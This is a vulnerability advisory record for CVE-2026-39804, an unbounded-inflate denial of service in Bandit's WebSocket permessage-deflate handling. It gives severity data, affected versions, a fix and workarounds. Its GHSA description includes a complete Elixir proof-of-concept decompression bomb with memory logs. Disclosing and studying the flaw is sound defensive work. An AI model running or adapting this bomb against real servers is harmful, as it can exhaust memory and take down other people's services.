{"id":"CVE-2026-39804","aliases":["CVE-2026-39804","GHSA-frh3-6pv6-rc8j","EEF-CVE-2026-39804"],"related":[],"kind":"vulnerability","state":"published","title":"WebSocket permessage-deflate inflate has no output-size cap in bandit","summary":"Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion when WebSocket permessage-deflate compression is enabled.\n\nBandit.WebSocket.PerMessageDeflate.inflate/2 in lib/bandit/websocket/permessage_deflate.ex calls :zlib.inflate/2 with no output-size cap, then materializes the entire decompressed payload as a single binary via IO.iodata_to_binary/1. The websocket_options.max_frame_size option only bounds the on-the-wire (compressed) frame size, not the decompressed output. A high-ratio compressed frame (e.g. uniform data at ~1024:1 ratio) can stay well under any wire-size limit while forcing GiB-scale heap allocations in the connection process before any application code runs.\n\nAn unauthenticated attacker who can open a WebSocket connection can send a single such frame to exhaust the BEAM node's memory and trigger an OOM kill.\n\nThis vulnerability requires both Bandit's server-level websocket_options.compress and the per-upgrade compress: true option passed to WebSockAdapter.upgrade/4 to be enabled. Stock Phoenix and LiveView applications are not affected as they default to compress: false.\n\nThis issue affects bandit: from 0.5.9 before 1.11.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion when WebSocket permessage-deflate compression is enabled.\n\nBandit.WebSocket.PerMessageDeflate.inflate/2 in lib/bandit/websocket/permessage_deflate.ex calls :zlib.inflate/2 with no output-size cap, then materializes the entire decompressed payload as a single binary via IO.iodata_to_binary/1. The websocket_options.max_frame_size option only bounds the on-the-wire (compressed) frame size, not the decompressed output. A high-ratio compressed frame (e.g. uniform data at ~1024:1 ratio) can stay well under any wire-size limit while forcing GiB-scale heap allocations in the connection process before any application code runs.\n\nAn unauthenticated attacker who can open a WebSocket connection can send a single such frame to exhaust the BEAM node's memory and trigger an OOM kill.\n\nThis vulnerability requires both Bandit's server-level websocket_options.compress and the per-upgrade compress: true option passed to WebSockAdapter.upgrade/4 to be enabled. Stock Phoenix and LiveView applications are not affected as they default to compress: false.\n\nThis issue affects bandit: from 0.5.9 before 1.11.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nWhen a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (`compress: true`), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are **not** vulnerable by default — they ship with `compress: false`. Affected apps are those that have deliberately opted in to permessage-deflate.\n\n### Details\n\nIn `lib/bandit/websocket/permessage_deflate.ex:111-115`, `:zlib.inflate/2` is called without an output-size limit, and `IO.iodata_to_binary/1` then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.\n\n`websocket_options.max_frame_size` only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no `{:more, ...}` resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.\n\nThe bug is gated by two server-side flags being true at the same time:\n\n- Bandit's global `websocket_options.compress` (defaults to `true` per `bandit.ex:198-201`).\n- The per-upgrade `connection_opts.compress` passed to `WebSockAdapter.upgrade/4` (defaults to `false` per `websock_adapter.ex:42-43`; Phoenix's default is also `false` per `phoenix/lib/phoenix/transports/websocket.ex:33`).\n\nBoth must be true for the handshake at `bandit/lib/bandit/websocket/handshake.ex:22` to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. `socket \"/ws\", MySocket, websocket: [compress: true]` in a Phoenix endpoint, or `WebSockAdapter.upgrade(conn, ..., compress: true)` in a plain Plug app).\n\n**Suggested fix:** thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via `:length`.\n\n### PoC\n\nA fully self-contained reproducer is attached below. It boots a local Bandit server that performs a `WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true)`, opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with `elixir ws_permessage_deflate_bomb.exs`.\n\nObserved on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):\n\n- Frame on the wire: ~6 MiB.\n- BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by `IO.iodata_to_binary/1`), then settled at ~6 GiB until the connection process was GC'd.\n- Tuning `@target_decompressed_bytes` upward, or opening N parallel connections, OOM-kills the BEAM outright.\n\nA separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented `max_frame_size` default is `0` (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.\n\n### Impact\n\nUnauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.\n\nAffected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are **not** affected — both default to `compress: false`. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.\n\n```elixir\n# Bandit WebSocket permessage-deflate bomb PoC.\n#\n# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2\n# with no output-size cap. A small (~4 MiB) compressed frame inflates to\n# multiple GiB on the BEAM heap before any application code sees it.\n#\n# Note: in the default setup something upstream caps wire-side frames at\n# ~8 MiB even though Bandit's documented max_frame_size default is 0\n# (unlimited). The bug is reachable below that cap regardless.\n#\n# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs\n\nMix.install([\n  {:bandit, \"~> 1.10\"},\n  {:plug, \"~> 1.19\"},\n  {:websock_adapter, \"~> 0.5\"}\n])\n\ndefmodule EchoSocket do\n  @behaviour WebSock\n\n  def init(_opts), do: {:ok, %{}}\n  def handle_in(_message, state), do: {:ok, state}\n  def handle_info(_message, state), do: {:ok, state}\n  def terminate(_reason, state), do: {:ok, state}\nend\n\ndefmodule DemoApp do\n  @behaviour Plug\n  def init(opts), do: opts\n  def call(conn, _opts) do\n    conn\n    |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)\n    |> Plug.Conn.halt()\n  end\nend\n\ndefmodule Bomb do\n  @port 4321\n  # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).\n  @target_decompressed_bytes 6 * 1024 * 1024 * 1024\n  @plaintext_chunk_bytes 10 * 1024 * 1024\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    sock = ws_handshake!()\n    deflate_payload = build_deflate_bomb()\n    frame = compressed_text_frame(deflate_payload)\n\n    sampler_pid = spawn_link(&sample_memory_loop/0)\n\n    log(\"Sending #{byte_size(frame)}-byte compressed frame…\")\n    :ok = :gen_tcp.send(sock, frame)\n    handle_recv(sock)\n\n    Process.unlink(sampler_pid)\n    Process.exit(sampler_pid, :kill)\n    :gen_tcp.close(sock)\n    log(\"Done.\")\n  end\n\n  # Open a TCP connection and complete the WebSocket handshake with\n  # permessage-deflate. Raises if the server doesn't negotiate it.\n  defp ws_handshake! do\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()\n\n    :ok =\n      :gen_tcp.send(sock, \"\"\"\n      GET / HTTP/1.1\\r\n      Host: 127.0.0.1\\r\n      Upgrade: websocket\\r\n      Connection: Upgrade\\r\n      Sec-WebSocket-Key: #{ws_key}\\r\n      Sec-WebSocket-Version: 13\\r\n      Sec-WebSocket-Extensions: permessage-deflate\\r\n      \\r\n      \"\"\")\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    if not (response =~ \"permessage-deflate\"), do: raise(\"permessage-deflate not negotiated:\\n#{response}\")\n    log(\"Handshake complete.\")\n    sock\n  end\n\n  # Stream-deflate @target_decompressed_bytes worth of zeros so the client\n  # never holds the full plaintext at once. RFC 7692 uses raw deflate\n  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which\n  # we strip per the spec.\n  defp build_deflate_bomb do\n    chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)\n    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)\n    log(\"Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…\")\n\n    zstream = :zlib.open()\n    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)\n    deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end)\n    final_flush = :zlib.deflate(zstream, <<>>, :sync)\n    :zlib.close(zstream)\n\n    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])\n    trailer_size = byte_size(deflated) - 4\n    <<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated\n\n    log(\"Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).\")\n    payload\n  end\n\n  # Wrap payload in a single masked WebSocket text frame with RSV1 set\n  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).\n  defp compressed_text_frame(payload) do\n    mask = :crypto.strong_rand_bytes(4)\n    payload_size = byte_size(payload)\n    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)\n    masked_payload = :crypto.exor(payload, mask_stream)\n\n    length_bytes =\n      cond do\n        payload_size <= 125 -> <<1::1, payload_size::7>>\n        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>\n        true -> <<1::1, 127::7, payload_size::64>>\n      end\n\n    <<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>>\n  end\n\n  # EchoSocket.handle_in/2 doesn't reply, so recv times out after the\n  # observation window. That's enough to watch the BEAM heap spike.\n  defp handle_recv(sock) do\n    case :gen_tcp.recv(sock, 0, 5_000) do\n      {:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->\n        log(\"Close frame: code=#{close_code} reason=#{inspect(close_reason)}\")\n\n      {:ok, bytes} ->\n        log(\"Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}\")\n\n      {:error, :timeout} ->\n        log(\"recv timed out (server held the inflated payload silently).\")\n\n      {:error, reason} ->\n        log(\"Connection closed: #{inspect(reason)}\")\n    end\n  end\n\n  defp sample_memory_loop do\n    log(\"[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB\")\n    Process.sleep(250)\n    sample_memory_loop()\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}\")\nend\n\nBomb.run()\n```\n\n#### Logs\n\n```\n10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[08:15:24.269] Handshake complete.\n[08:15:24.321] Deflating 6144 MiB plaintext…\n[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).\n[08:15:37.581] Sending 6257689-byte compressed frame…\n[08:15:37.582] [mem] BEAM total = 76 MiB\n[08:15:37.834] [mem] BEAM total = 759 MiB\n[08:15:38.087] [mem] BEAM total = 1480 MiB\n[08:15:38.338] [mem] BEAM total = 2214 MiB\n[08:15:38.589] [mem] BEAM total = 2724 MiB\n[08:15:38.840] [mem] BEAM total = 3410 MiB\n[08:15:39.091] [mem] BEAM total = 3877 MiB\n[08:15:39.342] [mem] BEAM total = 4268 MiB\n[08:15:39.593] [mem] BEAM total = 4815 MiB\n[08:15:39.845] [mem] BEAM total = 5270 MiB\n[08:15:40.096] [mem] BEAM total = 5766 MiB\n[08:15:40.347] [mem] BEAM total = 12451 MiB\n[08:15:40.598] [mem] BEAM total = 12452 MiB\n[08:15:40.850] [mem] BEAM total = 12452 MiB\n[08:15:41.101] [mem] BEAM total = 12452 MiB\n[08:15:41.353] [mem] BEAM total = 12452 MiB\n[08:15:41.606] [mem] BEAM total = 12451 MiB\n[08:15:41.856] [mem] BEAM total = 6229 MiB\n[08:15:42.107] [mem] BEAM total = 6229 MiB\n[08:15:42.358] [mem] BEAM total = 6229 MiB\n[08:15:42.582] recv timed out (server held the inflated payload silently).\n[08:15:42.584] Done.\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"## Summary\n\nAllocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion when WebSocket permessage-deflate compression is enabled.\n\n`Bandit.WebSocket.PerMessageDeflate.inflate/2` in `lib/bandit/websocket/permessage_deflate.ex` calls `:zlib.inflate/2` with no output-size cap, then materializes the entire decompressed payload as a single binary via `IO.iodata_to_binary/1`. The `websocket_options.max_frame_size` option only bounds the on-the-wire (compressed) frame size, not the decompressed output. A high-ratio compressed frame (e.g. uniform data at ~1024:1 ratio) can stay well under any wire-size limit while forcing GiB-scale heap allocations in the connection process before any application code runs.\n\nAn unauthenticated attacker who can open a WebSocket connection can send a single such frame to exhaust the BEAM node's memory and trigger an OOM kill.\n\nThis vulnerability requires both Bandit's server-level `websocket_options.compress` and the per-upgrade `compress: true` option passed to `WebSockAdapter.upgrade/4` to be enabled. Stock Phoenix and LiveView applications are not affected as they default to `compress: false`.\n\nThis issue affects bandit: from 0.5.9 before 1.11.0.\n\n## Workarounds\n\nDo not pass `compress: true` to `WebSockAdapter.upgrade/4`. Omitting this option (or setting it to `false`) prevents permessage-deflate from being negotiated, so the inflate path is never reached.\n\n## Configurations\n\nThe vulnerability is only reachable when both of the following conditions are true:\n\n- Bandit's server-level `websocket_options.compress` is enabled (it defaults to `true`).\n- The per-upgrade `compress: true` option is passed to `WebSockAdapter.upgrade/4` (it defaults to `false`; Phoenix's default is also `false`).\n\nStock Phoenix and LiveView applications are not affected because `compress: false` is their default.","format":"markdown","source":"eef"},{"lang":"es","text":"Vulnerabilidad de asignación de recursos sin límites ni limitación en mtrudel bandit permite la denegación de servicio remota no autenticada a través del agotamiento de la memoria cuando la compresión WebSocket permessage-deflate está habilitada.\n\n’Elixir.Bandit.WebSocket.PerMessageDeflate’:inflate/2 en lib/bandit/websocket/permessage_deflate.ex llama a :zlib.inflate/2 sin límite de tamaño de salida, luego materializa la carga útil descomprimida completa como un único binario a través de IO.iodata_to_binary/1. La opción websocket_options.max_frame_size solo limita el tamaño del marco en tránsito (comprimido), no la salida descomprimida. Un marco comprimido de alta relación (por ejemplo, datos uniformes con una relación de ~1024:1) puede permanecer muy por debajo de cualquier límite de tamaño de cable mientras fuerza asignaciones de pila a escala de GiB en el proceso de conexión antes de que se ejecute cualquier código de aplicación.\n\nUn atacante no autenticado que puede abrir una conexión WebSocket puede enviar un único marco de este tipo para agotar la memoria del nodo BEAM y activar una eliminación por OOM.\n\nEsta vulnerabilidad requiere que tanto la opción websocket_options.compress a nivel de servidor de Bandit como la opción compress: true por actualización pasada a WebSockAdapter.upgrade/4 estén habilitadas. Las aplicaciones estándar de Phoenix y LiveView no se ven afectadas ya que por defecto tienen compress: false.\n\nEste problema afecta a bandit: desde 0.5.9 antes de 1.11.0.","source":"nvd"}],"published":"2026-05-01T20:34:24.604Z","modified":"2026-11-25T17:23:06.319Z","severity":{"scorer":"EEF","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"EEF","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"Erlang Ecosystem Foundation","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"cwes":["CWE-770"],"affected":[{"ranges":[{"type":"semver","introduced":"0.5.9","fixed":"1.11.0","status":"affected"}],"vendor":"mtrudel","product":"bandit","package":"bandit","cpe":"cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*","repo":"https://github.com/mtrudel/bandit","source":"cvelist"},{"ranges":[{"type":"git","introduced":"da4027cff7d2b80319e76fe7a32f84beceec490a","fixed":"8156921a51e684a951221da7bc30a70a022f722e","status":"affected"}],"vendor":"mtrudel","product":"bandit","package":"mtrudel/bandit","cpe":"cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*","repo":"https://github.com/mtrudel/bandit","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0.5.8","status":"affected","fixed":"1.11.0"}],"ecosystem":"Hex","package":"bandit","purl":"pkg:hex/bandit","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.5.9","status":"affected","fixed":"1.11.0"}],"ecosystem":"Hex","package":"bandit","purl":"pkg:hex/bandit","source":"eef"},{"ranges":[{"type":"git","introduced":"da4027cff7d2b80319e76fe7a32f84beceec490a","status":"affected","fixed":"8156921a51e684a951221da7bc30a70a022f722e"}],"repo":"https://github.com/mtrudel/bandit","source":"eef"}],"references":[{"url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j","tags":["advisory","exploit","related","vendor-advisory","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://cna.erlef.org/cves/CVE-2026-39804.html","tags":["related","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://osv.dev/vulnerability/EEF-CVE-2026-39804","tags":["related","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/mtrudel/bandit/commit/da4027cff7d2b80319e76fe7a32f84beceec490a","tags":["related","web"],"sources":["cvelist","eef","nvd"]},{"url":"https://github.com/mtrudel/bandit/commit/8156921a51e684a951221da7bc30a70a022f722e","tags":["fix","patch","web"],"sources":["cvelist","ghsa","eef","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39804","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/mtrudel/bandit","tags":["package"],"sources":["ghsa"]},{"url":"https://hex.pm/packages/bandit","tags":["package"],"sources":["eef"]}],"credits":["Peter Ullrich","Jonatan Männchen / EEF","Mat Trudel"],"assigner":"EEF","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-02T01:19:00.687Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-39804","url":"https://www.cve.org/CVERecord?id=CVE-2026-39804","licence":"CVE Terms of Use","modified":"2026-11-20T04:19:21.470Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-frh3-6pv6-rc8j","url":"https://github.com/advisories/GHSA-frh3-6pv6-rc8j","licence":"CC-BY-4.0","modified":"2026-05-07T03:47:36.286Z"},{"source":"eef","name":"Erlang Ecosystem Foundation","id":"EEF-CVE-2026-39804","url":"https://osv.dev/vulnerability/EEF-CVE-2026-39804","licence":"CC-BY-4.0","modified":"2026-11-25T17:23:06.319Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-39804","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39804","licence":"Public domain","modified":"2026-11-20T05:18:54.833Z"}],"updatedAt":"2026-11-25T22:59:20.436Z","epss":{"score":0.00722,"percentile":0.55214,"date":"2026-12-01T12:00:22.000Z"}}